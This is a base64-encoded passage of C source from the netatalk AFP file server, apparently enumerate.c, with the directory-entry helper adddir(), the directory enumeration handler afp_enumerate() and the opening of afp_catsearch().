IDxuZXRhdGFsay9lbmRpYW4uaD4NCiNpbmNsdWRlIDxhdGFsay9hZnAuaD4N
CiNpbmNsdWRlIDxhdGFsay9hZG91YmxlLmg+DQojaWZkZWYgQ05JRF9EQg0K
I2luY2x1ZGUgPGF0YWxrL2NuaWQuaD4NCiNlbmRpZiAvKiBDTklEX0RCICov
DQojaW5jbHVkZSAiZGVza3RvcC5oIg0KI2luY2x1ZGUgImRpcmVjdG9yeS5o
Ig0KI2luY2x1ZGUgInZvbHVtZS5oIg0KI2luY2x1ZGUgImdsb2JhbHMuaCIN
CiNpbmNsdWRlICJmaWxlLmgiDQoNCi8qIGNoZWNrIGZvciBtdGFiIERJRCBj
b2RlICovDQojaWZkZWYgRElEX01UQUINCiNpbmNsdWRlICJwYXJzZV9tdGFi
LmgiDQojZW5kaWYgLyogRElEX01UQUIgKi8NCg0Kc3RydWN0IGRpciAqDQog
ICAgICAgICAgICBhZGRkaXIoIHZvbCwgZGlyLCBuYW1lLCBuYW1sZW4sIHVw
YXRoLCB1cGF0aGxlbiwgc3QgKQ0KICAgICAgICAgICAgc3RydWN0IHZvbAkq
dm9sOw0Kc3RydWN0IGRpcgkqZGlyOw0KY2hhcgkqbmFtZSwgKnVwYXRoOw0K
aW50CQluYW1sZW4sIHVwYXRobGVuOw0Kc3RydWN0IHN0YXQgKnN0Ow0Kew0K
ICAgIHN0cnVjdCBkaXIJKmNkaXIsICplZGlyOw0KI2lmIEFEX1ZFUlNJT04g
PiBBRF9WRVJTSU9OMQ0KICAgIHN0cnVjdCBhZG91YmxlIGFkOw0KI2VuZGlm
IC8qIEFEX1ZFUlNJT04gPiBBRF9WRVJTSU9OMSAqLw0KDQogICAgc3RydWN0
IHN0YXQgbHN0LCAqbHN0cDsNCg0KICAgIGlmICgoY2RpciA9IGRpcm5ldyhu
YW1sZW4gKyAxKSkgPT0gTlVMTCkgew0KICAgICAgICBzeXNsb2coIExPR19F
UlIsICJhZGRkaXI6IG1hbGxvYzogJXMiLCBzdHJlcnJvcihlcnJubykgKTsN
CiAgICAgICAgcmV0dXJuIE5VTEw7DQogICAgfQ0KICAgIHN0cmNweSggY2Rp
ci0+ZF9uYW1lLCBuYW1lICk7DQogICAgY2Rpci0+ZF9uYW1lW25hbWxlbl0g
PSAnXDAnOw0KDQogICAgY2Rpci0+ZF9kaWQgPSAwOw0KDQojaWYgQURfVkVS
U0lPTiA+IEFEX1ZFUlNJT04xDQogICAgLyogbG9vayBpbiBBRCB2MiBoZWFk
ZXIgKi8NCiAgICBtZW1zZXQoJmFkLCAwLCBzaXplb2YoYWQpKTsNCiAgICBp
ZiAoYWRfb3Blbih1cGF0aCwgQURGTEFHU19IRnxBREZMQUdTX0RJUiwgT19S
RE9OTFksIDAsICZhZCkgPj0gMCkgew0KICAgICAgICAvKiBpZiB3ZSBjYW4g
cGFyc2UgdGhlIEFwcGxlRG91YmxlIGhlYWRlciwgcmV0cmlldmUgdGhlIERJ
RCBlbnRyeSBpbnRvIGNkaXItPmRfZGlkICovDQogICAgICAgIG1lbWNweSgm
Y2Rpci0+ZF9kaWQsIGFkX2VudHJ5KCZhZCwgQURFSURfRElEKSwgc2l6ZW9m
KGNkaXItPmRfZGlkKSk7DQogICAgICAgIGFkX2Nsb3NlKCZhZCwgQURGTEFH
U19IRik7DQogICAgfQ0KI2VuZGlmIC8qIEFEX1ZFUlNJT04gKi8NCg0KI2lm
ZGVmIENOSURfREINCiAgICAvKiBhZGQgdG8gY25pZCBkYiAqLw0KICAgIGNk
aXItPmRfZGlkID0gY25pZF9hZGQodm9sLT52X2RiLCBzdCwgZGlyLT5kX2Rp
ZCwgdXBhdGgsDQogICAgICAgICAgICAgICAgICAgICAgICAgICB1cGF0aGxl
biwgY2Rpci0+ZF9kaWQpOw0KI2VuZGlmIC8qIENOSURfREIgKi8NCg0KICAg
IGlmIChjZGlyLT5kX2RpZCA9PSAwKSB7DQogICAgICAgIGxzdHAgPSBsc3Rh
dCh1cGF0aCwgJmxzdCkgPCAwID8gc3QgOiAmbHN0Ow0KI2lmZGVmIERJRF9N
VEFCDQogICAgICAgIC8qIG10YWIgd2F5IG9mIGRvaW5nIERJRHMgKi8NCiAg
ICAgICAgY2Rpci0+ZF9kaWQgPSBodG9ubCggYWZwZF9zdF9jbmlkICggbHN0
cCApICk7DQojZWxzZSAvKiBESURfTVRBQiAqLw0KI2lmZGVmIFVTRV9MQVNU
RElEDQoJCWNkaXItPmRfZGlkID0gaHRvbmwoTEFTVChsc3RwLCAwKSk7DQoj
ZWxzZQ0KICAgICAgICBjZGlyLT5kX2RpZCA9IGh0b25sKCBDTklEKGxzdHAs
IDApICk7DQojZW5kaWYgLyogVVNFX0xBU1RESUQgKi8NCiNlbmRpZiAvKiBE
SURfTVRBQiAqLw0KICAgIH0NCg0KICAgIGlmICgoZWRpciA9IGRpcmluc2Vy
dCggdm9sLCBjZGlyICkpKSB7DQojaWZuZGVmIENOSURfREINCiAgICAgICAg
aWYgKGVkaXItPmRfbmFtZSkgew0KICAgICAgICAgICAgaWYgKHN0cmNtcChl
ZGlyLT5kX25hbWUsIGNkaXItPmRfbmFtZSkpIHsNCiAgICAgICAgICAgICAg
ICBzeXNsb2coTE9HX0lORk8sICJXQVJOSU5HOiBESUQgY29uZmxpY3QgZm9y
ICclcycgYW5kICclcycuIEFyZSB0aGVzZSB0aGUgc2FtZSBmaWxlPyIsIGVk
aXItPmRfbmFtZSwgY2Rpci0+ZF9uYW1lKTsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGZyZWUoY2Rpci0+ZF9uYW1lKTsNCiAgICAgICAgICAgIGZy
ZWUoY2Rpcik7DQogICAgICAgICAgICByZXR1cm4gZWRpcjsNCiAgICAgICAg
fQ0KI2VuZGlmIC8qIENOSURfREIgKi8NCiAgICAgICAgZWRpci0+ZF9uYW1l
ID0gY2Rpci0+ZF9uYW1lOw0KICAgICAgICBmcmVlKGNkaXIpOw0KICAgICAg
ICBjZGlyID0gZWRpcjsNCiAgICB9DQoNCiAgICAvKiBwYXJlbnQvY2hpbGQg
ZGlyZWN0b3JpZXMgKi8NCiAgICBjZGlyLT5kX3BhcmVudCA9IGRpcjsNCiAg
ICBkaXJjaGlsZGFkZChkaXIsIGNkaXIpOw0KICAgIHJldHVybiggY2RpciAp
Ow0KfQ0KDQovKg0KICogU3RydWN0IHRvIHNhdmUgZGlyZWN0b3J5IHJlYWRp
bmcgY29udGV4dCBpbi4gVXNlZCB0byBwcmV2ZW50DQogKiBPKG5eMikgc2Vh
cmNoZXMgb24gYSBkaXJlY3RvcnkuDQogKi8NCnN0cnVjdCBzYXZlZGlyIHsN
CiAgICB1X3Nob3J0CXNkX3ZpZDsNCiAgICBpbnQJCXNkX2RpZDsNCiAgICBp
bnQJCXNkX2J1ZmxlbjsNCiAgICBjaGFyCSpzZF9idWY7DQogICAgY2hhcgkq
c2RfbGFzdDsNCiAgICBpbnQJCXNkX3NpbmRleDsNCn07DQojZGVmaW5lIFNE
QlVGQlJLCTEwMjQNCg0KaW50IGFmcF9lbnVtZXJhdGUob2JqLCBpYnVmLCBp
YnVmbGVuLCByYnVmLCByYnVmbGVuICkNCkFGUE9iaiAgICAgICpvYmo7DQpj
aGFyCSppYnVmLCAqcmJ1ZjsNCmludAkJaWJ1ZmxlbiwgKnJidWZsZW47DQp7
DQogICAgc3RydWN0IHN0YXQJCQlzdDsNCiAgICBzdGF0aWMgc3RydWN0IHNh
dmVkaXIJc2QgPSB7IDAsIDAsIDAsIE5VTEwsIE5VTEwsIDAgfTsNCiAgICBz
dHJ1Y3Qgdm9sCQkJKnZvbDsNCiAgICBzdHJ1Y3QgZGlyCQkJKmRpcjsNCiAg
ICBzdHJ1Y3QgZGlyZW50CQkqZGU7DQogICAgRElSCQkJCSpkcDsNCiAgICBp
bnQJCQkJZGlkLCByZXQsIGVzeiwgbGVuLCBmaXJzdCA9IDE7DQogICAgY2hh
cgkJCSpwYXRoLCAqZGF0YSwgKmVuZCwgKnN0YXJ0Ow0KICAgIHVfaW50MTZf
dAkJCXZpZCwgZmJpdG1hcCwgZGJpdG1hcCwgcmVxY250LCBhY3RjbnQgPSAw
Ow0KICAgIHVfaW50MTZfdAkJCXNpbmRleCwgbWF4c3osIHN6ID0gMDsNCg0K
ICAgIGlmICggc2Quc2RfYnVmbGVuID09IDAgKSB7DQogICAgICAgIGlmICgo
IHNkLnNkX2J1ZiA9IChjaGFyICopbWFsbG9jKCBTREJVRkJSSyApKSA9PSBO
VUxMICkgew0KICAgICAgICAgICAgc3lzbG9nKCBMT0dfRVJSLCAiYWZwX2Vu
dW1lcmF0ZTogbWFsbG9jOiAlcyIsIHN0cmVycm9yKGVycm5vKSApOw0KICAg
ICAgICAgICAgKnJidWZsZW4gPSAwOw0KICAgICAgICAgICAgcmV0dXJuIEFG
UEVSUl9NSVNDOw0KICAgICAgICB9DQogICAgICAgIHNkLnNkX2J1ZmxlbiA9
IFNEQlVGQlJLOw0KICAgIH0NCg0KICAgIGlidWYgKz0gMjsNCg0KICAgIG1l
bWNweSggJnZpZCwgaWJ1Ziwgc2l6ZW9mKCB2aWQgKSk7DQogICAgaWJ1ZiAr
PSBzaXplb2YoIHZpZCApOw0KDQogICAgaWYgKCggdm9sID0gZ2V0dm9sYnl2
aWQoIHZpZCApKSA9PSBOVUxMICkgew0KICAgICAgICAqcmJ1ZmxlbiA9IDA7
DQogICAgICAgIHJldHVybiggQUZQRVJSX1BBUkFNICk7DQogICAgfQ0KDQog
ICAgbWVtY3B5KCAmZGlkLCBpYnVmLCBzaXplb2YoIGRpZCApKTsNCiAgICBp
YnVmICs9IHNpemVvZiggZGlkICk7DQoNCiAgICBpZiAoKCBkaXIgPSBkaXJz
ZWFyY2goIHZvbCwgZGlkICkpID09IE5VTEwgKSB7DQogICAgICAgICpyYnVm
bGVuID0gMDsNCiAgICAgICAgcmV0dXJuKCBBRlBFUlJfTk9ESVIgKTsNCiAg
ICB9DQoNCiAgICBtZW1jcHkoICZmYml0bWFwLCBpYnVmLCBzaXplb2YoIGZi
aXRtYXAgKSk7DQogICAgZmJpdG1hcCA9IG50b2hzKCBmYml0bWFwICk7DQog
ICAgaWJ1ZiArPSBzaXplb2YoIGZiaXRtYXAgKTsNCg0KICAgIG1lbWNweSgg
JmRiaXRtYXAsIGlidWYsIHNpemVvZiggZGJpdG1hcCApKTsNCiAgICBkYml0
bWFwID0gbnRvaHMoIGRiaXRtYXAgKTsNCiAgICBpYnVmICs9IHNpemVvZigg
ZGJpdG1hcCApOw0KDQogICAgLyogY2hlY2sgZm9yIHByb3BlciBiaXRtYXBz
IC0tIHRoZSBzdHVmZiBpbiBjb21tZW50cyBpcyBmb3INCiAgICAgKiB2YXJp
YWJsZSBkaXJlY3RvcnkgaWRzLiAqLw0KICAgIGlmICghKGZiaXRtYXAgfHwg
ZGJpdG1hcCkNCiAgICAgICAgICAgIC8qfHwgKGZiaXRtYXAgJiAoMSA8PCBG
SUxQQklUX1BESUQpKSB8fA0KICAgICAgICAgICAgICAoZGJpdG1hcCAmICgx
IDw8IERJUlBCSVRfUERJRCkpKi8pIHsNCiAgICAgICAgKnJidWZsZW4gPSAw
Ow0KICAgICAgICByZXR1cm4gQUZQRVJSX0JJVE1BUDsNCiAgICB9DQoNCiAg
ICBtZW1jcHkoICZyZXFjbnQsIGlidWYsIHNpemVvZiggcmVxY250ICkpOw0K
ICAgIHJlcWNudCA9IG50b2hzKCByZXFjbnQgKTsNCiAgICBpYnVmICs9IHNp
emVvZiggcmVxY250ICk7DQoNCiAgICBtZW1jcHkoICZzaW5kZXgsIGlidWYs
IHNpemVvZiggc2luZGV4ICkpOw0KICAgIHNpbmRleCA9IG50b2hzKCBzaW5k
ZXggKTsNCiAgICBpYnVmICs9IHNpemVvZiggc2luZGV4ICk7DQoNCiAgICBt
ZW1jcHkoICZtYXhzeiwgaWJ1Ziwgc2l6ZW9mKCBtYXhzeiApKTsNCiAgICBt
YXhzeiA9IG50b2hzKCBtYXhzeiApOw0KICAgIGlidWYgKz0gc2l6ZW9mKCBt
YXhzeiApOw0KDQogICAgaWYgKCggcGF0aCA9IGNuYW1lKCB2b2wsIGRpciwg
JmlidWYgKSkgPT0gTlVMTCApIHsNCiAgICAgICAgKnJidWZsZW4gPSAwOw0K
ICAgICAgICByZXR1cm4oIEFGUEVSUl9OT0RJUiApOw0KICAgIH0NCiAgICBk
YXRhID0gcmJ1ZiArIDMgKiBzaXplb2YoIHVfaW50MTZfdCApOw0KICAgIHN6
ID0gMyAqIHNpemVvZiggdV9pbnQxNl90ICk7DQoNCiAgICAvKg0KICAgICAq
IFJlYWQgdGhlIGRpcmVjdG9yeSBpbnRvIGEgcHJlLW1hbGxvY2VkIGJ1ZmZl
ciwgc3RvcmVkDQogICAgICoJCWxlbiA8bmFtZT4gXDANCiAgICAgKiBUaGUg
ZW5kIGlzIGluZGljYXRlZCBieSBhIGxlbiBvZiAwLg0KICAgICAqLw0KICAg
IGlmICggc2luZGV4ID09IDEgfHwgY3VyZGlyLT5kX2RpZCAhPSBzZC5zZF9k
aWQgfHwgdmlkICE9IHNkLnNkX3ZpZCApIHsNCiAgICAgICAgc2Quc2RfbGFz
dCA9IHNkLnNkX2J1ZjsNCg0KICAgICAgICBpZiAoKCBkcCA9IG9wZW5kaXIo
IG10b3VwYXRoKHZvbCwgcGF0aCApKSkgPT0gTlVMTCApIHsNCiAgICAgICAg
ICAgICpyYnVmbGVuID0gMDsNCiAgICAgICAgICAgIHJldHVybiAoZXJybm8g
PT0gRU5PVERJUikgPyBBRlBFUlJfQkFEVFlQRSA6IEFGUEVSUl9OT0RJUjsN
CiAgICAgICAgfQ0KDQogICAgICAgIGVuZCA9IHNkLnNkX2J1ZiArIHNkLnNk
X2J1ZmxlbjsNCiAgICAgICAgZm9yICggZGUgPSByZWFkZGlyKCBkcCApOyBk
ZSAhPSBOVUxMOyBkZSA9IHJlYWRkaXIoIGRwICkpIHsNCiAgICAgICAgICAg
IGlmICghc3RyY21wKGRlLT5kX25hbWUsICIuLiIpIHx8ICFzdHJjbXAoZGUt
PmRfbmFtZSwgIi4iKSkNCiAgICAgICAgICAgICAgICBjb250aW51ZTsNCg0K
ICAgICAgICAgICAgaWYgKCEodmFsaWR1cGF0aCh2b2wsIGRlLT5kX25hbWUp
KSkNCiAgICAgICAgICAgICAgICBjb250aW51ZTsNCg0KICAgICAgICAgICAg
LyogY2hlY2sgZm9yIHZldG9lZCBmaWxlbmFtZXMgKi8NCiAgICAgICAgICAg
IGlmICh2ZXRvX2ZpbGUodm9sLT52X3ZldG8sIGRlLT5kX25hbWUpKQ0KICAg
ICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAvKiBub3cg
Y2hlY2sgYWdhaW5zdCB0b28gYmlnIGEgZmlsZSAqLw0KICAgICAgICAgICAg
aWYgKHN0cmxlbih1dG9tcGF0aCh2b2wsIGRlLT5kX25hbWUpKSA+IE1BQ0ZJ
TEVMRU4pDQogICAgICAgICAgICAgICAgY29udGludWU7DQoNCiAgICAgICAg
ICAgIGxlbiA9IHN0cmxlbihkZS0+ZF9uYW1lKTsNCiAgICAgICAgICAgICoo
c2Quc2RfbGFzdCkrKyA9IGxlbjsNCg0KICAgICAgICAgICAgaWYgKCBzZC5z
ZF9sYXN0ICsgbGVuICsgMiA+IGVuZCApIHsNCiAgICAgICAgICAgICAgICBj
aGFyICpidWY7DQoNCiAgICAgICAgICAgICAgICBzdGFydCA9IHNkLnNkX2J1
ZjsNCiAgICAgICAgICAgICAgICBpZiAoKGJ1ZiA9IChjaGFyICopIHJlYWxs
b2MoIHNkLnNkX2J1Ziwgc2Quc2RfYnVmbGVuICsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNEQlVGQlJLICkpID09
IE5VTEwgKSB7DQogICAgICAgICAgICAgICAgICAgIHN5c2xvZyggTE9HX0VS
UiwgImFmcF9lbnVtZXJhdGU6IHJlYWxsb2M6ICVzIiwNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBzdHJlcnJvcihlcnJubykgKTsNCiAgICAgICAg
ICAgICAgICAgICAgY2xvc2VkaXIoZHApOw0KICAgICAgICAgICAgICAgICAg
ICAqcmJ1ZmxlbiA9IDA7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBB
RlBFUlJfTUlTQzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgc2Quc2RfYnVmID0gYnVmOw0KICAgICAgICAgICAgICAgIHNkLnNkX2J1
ZmxlbiArPSBTREJVRkJSSzsNCiAgICAgICAgICAgICAgICBzZC5zZF9sYXN0
ID0gKCBzZC5zZF9sYXN0IC0gc3RhcnQgKSArIHNkLnNkX2J1ZjsNCiAgICAg
ICAgICAgICAgICBlbmQgPSBzZC5zZF9idWYgKyBzZC5zZF9idWZsZW47DQog
ICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIG1lbWNweSggc2Quc2RfbGFz
dCwgZGUtPmRfbmFtZSwgbGVuICsgMSApOw0KICAgICAgICAgICAgc2Quc2Rf
bGFzdCArPSBsZW4gKyAxOw0KICAgICAgICB9DQogICAgICAgICpzZC5zZF9s
YXN0ID0gMDsNCg0KICAgICAgICBzZC5zZF9sYXN0ID0gc2Quc2RfYnVmOw0K
ICAgICAgICBzZC5zZF9zaW5kZXggPSAxOw0KDQogICAgICAgIGNsb3NlZGly
KCBkcCApOw0KICAgICAgICBzZC5zZF92aWQgPSB2aWQ7DQogICAgICAgIHNk
LnNkX2RpZCA9IGRpZDsNCiAgICB9DQoNCiAgICAvKg0KICAgICAqIFBvc2l0
aW9uIHNkX2xhc3QgYXMgZGljdGF0ZWQgYnkgc2luZGV4Lg0KICAgICAqLw0K
ICAgIGlmICggc2luZGV4IDwgc2Quc2Rfc2luZGV4ICkgew0KICAgICAgICBz
ZC5zZF9zaW5kZXggPSAxOw0KICAgICAgICBzZC5zZF9sYXN0ID0gc2Quc2Rf
YnVmOw0KICAgIH0NCiAgICB3aGlsZSAoIHNkLnNkX3NpbmRleCA8IHNpbmRl
eCApIHsNCiAgICAgICAgbGVuID0gKihzZC5zZF9sYXN0KSsrOw0KICAgICAg
ICBpZiAoIGxlbiA9PSAwICkgew0KICAgICAgICAgICAgc2Quc2RfZGlkID0g
LTE7CS8qIGludmFsaWRhdGUgc2Qgc3RydWN0IHRvIGZvcmNlIHJlLXJlYWQg
Ki8NCiAgICAgICAgICAgICpyYnVmbGVuID0gMDsNCiAgICAgICAgICAgIHJl
dHVybiggQUZQRVJSX05PT0JKICk7DQogICAgICAgIH0NCiAgICAgICAgc2Qu
c2RfbGFzdCArPSBsZW4gKyAxOw0KICAgICAgICBzZC5zZF9zaW5kZXgrKzsN
CiAgICB9DQoNCiAgICB3aGlsZSAoKCBsZW4gPSAqKHNkLnNkX2xhc3QpKSAh
PSAwICkgew0KICAgICAgICAvKg0KICAgICAgICAgKiBJZiB3ZSd2ZSBnb3Qg
YWxsIHdlIG5lZWQsIHNlbmQgaXQuDQogICAgICAgICAqLw0KICAgICAgICBp
ZiAoIGFjdGNudCA9PSByZXFjbnQgKSB7DQogICAgICAgICAgICBicmVhazsN
CiAgICAgICAgfQ0KDQogICAgICAgIC8qDQogICAgICAgICAqIFNhdmUgdGhl
IHN0YXJ0IHBvc2l0aW9uLCBpbiBjYXNlIHdlIGV4Y2VlZCB0aGUgYnVmZmVy
DQogICAgICAgICAqIGxpbWl0YXRpb24sIGFuZCBoYXZlIHRvIGJhY2sgdXAg
b25lLg0KICAgICAgICAgKi8NCiAgICAgICAgc3RhcnQgPSBzZC5zZF9sYXN0
Ow0KICAgICAgICBzZC5zZF9sYXN0Kys7DQoNCiAgICAgICAgaWYgKCBzdGF0
KCBzZC5zZF9sYXN0LCAmc3QgKSA8IDAgKSB7DQogICAgICAgICAgICBzeXNs
b2coIExPR19ERUJVRywgImFmcF9lbnVtZXJhdGU6IHN0YXQgJXM6ICVzIiwN
CiAgICAgICAgICAgICAgICAgICAgc2Quc2RfbGFzdCwgc3RyZXJyb3IoZXJy
bm8pICk7DQogICAgICAgICAgICBzZC5zZF9sYXN0ICs9IGxlbiArIDE7DQog
ICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8q
DQogICAgICAgICAqIElmIGEgZmlsL2RpciBpcyBub3QgYSBkaXIsIGl0J3Mg
YSBmaWxlLiBUaGlzIGlzIHNsaWdodGx5DQogICAgICAgICAqIGluYWNjdXJh
dGUsIHNpbmNlIHRoYXQgbWVhbnMgL2Rldi9udWxsIGlzIGEgZmlsZSwgL2Rl
di9wcmludGVyDQogICAgICAgICAqIGlzIGEgZmlsZSwgZXRjLg0KICAgICAg
ICAgKi8NCiAgICAgICAgaWYgKCBTX0lTRElSKHN0LnN0X21vZGUpKSB7DQog
ICAgICAgICAgICBpZiAoIGRiaXRtYXAgPT0gMCApIHsNCiAgICAgICAgICAg
ICAgICBzZC5zZF9sYXN0ICs9IGxlbiArIDE7DQogICAgICAgICAgICAgICAg
Y29udGludWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBwYXRoID0g
dXRvbXBhdGgodm9sLCBzZC5zZF9sYXN0KTsNCiAgICAgICAgICAgIGRpciA9
IGN1cmRpci0+ZF9jaGlsZDsNCiAgICAgICAgICAgIHdoaWxlIChkaXIpIHsN
CiAgICAgICAgICAgICAgICBpZiAoIHN0cmNtcCggZGlyLT5kX25hbWUsIHBh
dGggKSA9PSAwICkgew0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZGlyID0gKGRpciA9
PSBjdXJkaXItPmRfY2hpbGQtPmRfcHJldikgPyBOVUxMIDogZGlyLT5kX25l
eHQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoIWRpciAmJiAo
KGRpciA9IGFkZGRpciggdm9sLCBjdXJkaXIsIHBhdGgsIHN0cmxlbiggcGF0
aCApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IHNkLnNkX2xhc3QsIGxlbiwgJnN0KSkgPT0gTlVMTCkpIHsNCiAgICAgICAg
ICAgICAgICAqcmJ1ZmxlbiA9IDA7DQogICAgICAgICAgICAgICAgcmV0dXJu
IEFGUEVSUl9NSVNDOw0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAg
IGlmICgoIHJldCA9IGdldGRpcnBhcmFtcyh2b2wsIGRiaXRtYXAsIHNkLnNk
X2xhc3QsIGRpciwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAmc3QsIGRhdGEgKyAyICogc2l6ZW9mKCB1X2NoYXIgKSwgJmVzeiAp
KSAhPSBBRlBfT0sgKSB7DQogICAgICAgICAgICAgICAgKnJidWZsZW4gPSAw
Ow0KICAgICAgICAgICAgICAgIHJldHVybiggcmV0ICk7DQogICAgICAgICAg
ICB9DQoNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmICggZmJp
dG1hcCA9PSAwICkgew0KICAgICAgICAgICAgICAgIHNkLnNkX2xhc3QgKz0g
bGVuICsgMTsNCiAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAg
ICAgIH0NCg0KICAgICAgICAgICAgaWYgKCggcmV0ID0gZ2V0ZmlscGFyYW1z
KHZvbCwgZmJpdG1hcCwgdXRvbXBhdGgodm9sLCBzZC5zZF9sYXN0KSwNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjdXJkaXIsICZz
dCwgZGF0YSArIDIgKiBzaXplb2YoIHVfY2hhciApLCAmZXN6ICkpICE9DQog
ICAgICAgICAgICAgICAgICAgIEFGUF9PSyApIHsNCiAgICAgICAgICAgICAg
ICAqcmJ1ZmxlbiA9IDA7DQogICAgICAgICAgICAgICAgcmV0dXJuKCByZXQg
KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8qDQog
ICAgICAgICAqIE1ha2Ugc3VyZSBlbnRyeSBpcyBhbiBldmVuIGxlbmd0aCwg
cG9zc2libHkgd2l0aCBhIG51bGwNCiAgICAgICAgICogYnl0ZSBvbiB0aGUg
ZW5kLg0KICAgICAgICAgKi8NCiAgICAgICAgaWYgKCBlc3ogJiAxICkgew0K
ICAgICAgICAgICAgKihkYXRhICsgMiAqIHNpemVvZiggdV9jaGFyICkgKyBl
c3ogKSA9ICdcMCc7DQogICAgICAgICAgICBlc3orKzsNCiAgICAgICAgfQ0K
DQogICAgICAgIC8qDQogICAgICAgICAqIENoZWNrIGlmIHdlJ3ZlIGV4Y2Vl
ZGVkIHRoZSBzaXplIGxpbWl0Lg0KICAgICAgICAgKi8NCiAgICAgICAgaWYg
KCBtYXhzeiA8IHN6ICsgZXN6ICsgMiAqIHNpemVvZiggdV9jaGFyICkpIHsN
CiAgICAgICAgICAgIGlmIChmaXJzdCkgeyAvKiBtYXhzeiBjYW4ndCBob2xk
IGEgc2luZ2xlIHJlcGx5ICovDQogICAgICAgICAgICAgICAgKnJidWZsZW4g
PSAwOw0KICAgICAgICAgICAgICAgIHJldHVybiBBRlBFUlJfUEFSQU07DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBzZC5zZF9sYXN0ID0gc3RhcnQ7
DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KDQogICAgICAgIGlm
IChmaXJzdCkNCiAgICAgICAgICAgIGZpcnN0ID0gMDsNCg0KICAgICAgICBz
eiArPSBlc3ogKyAyICogc2l6ZW9mKCB1X2NoYXIgKTsNCiAgICAgICAgKmRh
dGErKyA9IGVzeiArIDIgKiBzaXplb2YoIHVfY2hhciApOw0KICAgICAgICAq
ZGF0YSsrID0gU19JU0RJUihzdC5zdF9tb2RlKSA/IEZJTERJUkJJVF9JU0RJ
UiA6IEZJTERJUkJJVF9JU0ZJTEU7DQogICAgICAgIGRhdGEgKz0gZXN6Ow0K
ICAgICAgICBhY3RjbnQrKzsNCiAgICAgICAgc2Quc2RfbGFzdCArPSBsZW4g
KyAxOw0KICAgIH0NCg0KICAgIGlmICggYWN0Y250ID09IDAgKSB7DQogICAg
ICAgICpyYnVmbGVuID0gMDsNCiAgICAgICAgc2Quc2RfZGlkID0gLTE7CQkv
KiBpbnZhbGlkYXRlIHNkIHN0cnVjdCB0byBmb3JjZSByZS1yZWFkICovDQog
ICAgICAgIHJldHVybiggQUZQRVJSX05PT0JKICk7DQogICAgfQ0KICAgIHNk
LnNkX3NpbmRleCA9IHNpbmRleCArIGFjdGNudDsNCg0KICAgIC8qDQogICAg
ICogQWxsIGRvbmUsIGZpbGwgaW4gbWlzYyBqdW5rIGluIHJidWYNCiAgICAg
Ki8NCiAgICBmYml0bWFwID0gaHRvbnMoIGZiaXRtYXAgKTsNCiAgICBtZW1j
cHkoIHJidWYsICZmYml0bWFwLCBzaXplb2YoIGZiaXRtYXAgKSk7DQogICAg
cmJ1ZiArPSBzaXplb2YoIGZiaXRtYXAgKTsNCiAgICBkYml0bWFwID0gaHRv
bnMoIGRiaXRtYXAgKTsNCiAgICBtZW1jcHkoIHJidWYsICZkYml0bWFwLCBz
aXplb2YoIGRiaXRtYXAgKSk7DQogICAgcmJ1ZiArPSBzaXplb2YoIGRiaXRt
YXAgKTsNCiAgICBhY3RjbnQgPSBodG9ucyggYWN0Y250ICk7DQogICAgbWVt
Y3B5KCByYnVmLCAmYWN0Y250LCBzaXplb2YoIGFjdGNudCApKTsNCiAgICBy
YnVmICs9IHNpemVvZiggYWN0Y250ICk7DQogICAgKnJidWZsZW4gPSBzejsN
CiAgICByZXR1cm4oIEFGUF9PSyApOw0KfQ0KDQoNCi8qIHdoeSBpcyB0aGlz
IGhlcmU/IHdlbGwsIEZQQ2F0U2VhcmNoIGlzIGVzc2VudGlhbGx5IGFuIEZQ
RW51bWVyYXRlDQogKiB3aXRoIGZpbHRlcnMuICovDQppbnQgYWZwX2NhdHNl
YXJjaChBRlBPYmogKm9iaiwgY2hhciAqaWJ1ZiwgaW50IGlidWZsZW4sDQog
ICAgICAgICAgICAgICAgICBjaGFyICpyYnVmLCBpbnQgKnJidWZsZW4pDQp7
DQogICAgc3RydWN0IHZvbCAqdm9sOw0KICAgIHVfaW50MTZfdCAgIHZpZDsN
Cg0KICAgIGlidWYgKz0gMjsNCiAgICBtZW1jcHkoJnZpZCwgaWJ1Ziwgc2l6
ZW9mKHZpZCkpOw0KICAgIGlidWYgKz0gc2l6ZW9mKHZpZCk7DQoNCiAgICAq
cmJ1ZmxlbiA9IDA7DQogICAgaWYgKCh2b2wgPSBnZXR2b2xieXZpZCh2aWQp
KSA9PSBOVUxMKQ0KICAgICAgICByZXR1cm4gQUZQRVJSX1BBUkFNOw0KDQog
ICAgLyogdGhlIHJpdHVhbDoNCiAgICAgKiBkbyBhIGJyZWFkdGgtZmlyc3Qg
c2VhcmNoIG9mIGRpcmVjdG9yaWVzOg0KICAgICAqICAgbG9va3VwIGRpZC9u
YW1lIGluZm8uDQogICAgICogICBhZGQgdG8gcmVzdWx0IGlmIG1hdGNoDQog
ICAgICogICBjaGVjayB0byBzZWUgaWYgd2UndmUgZXhjZWVkZWQgb3VyIHRp
bWVsaW1pdA0KICAgICAqICAgICBpZiB5ZXMsIHJldHVybiBjdXJyZW50IHBv
c2l0aW9uDQogICAgICogICAgIGlmIG5vdCwgY29udGludWUNCiAgICAgKiAN
CiAgICAgKiAgIHdlIGtlZXAgYSBjb3B5IG9mIG91ciBjdXJyZW50IHBvc2l0
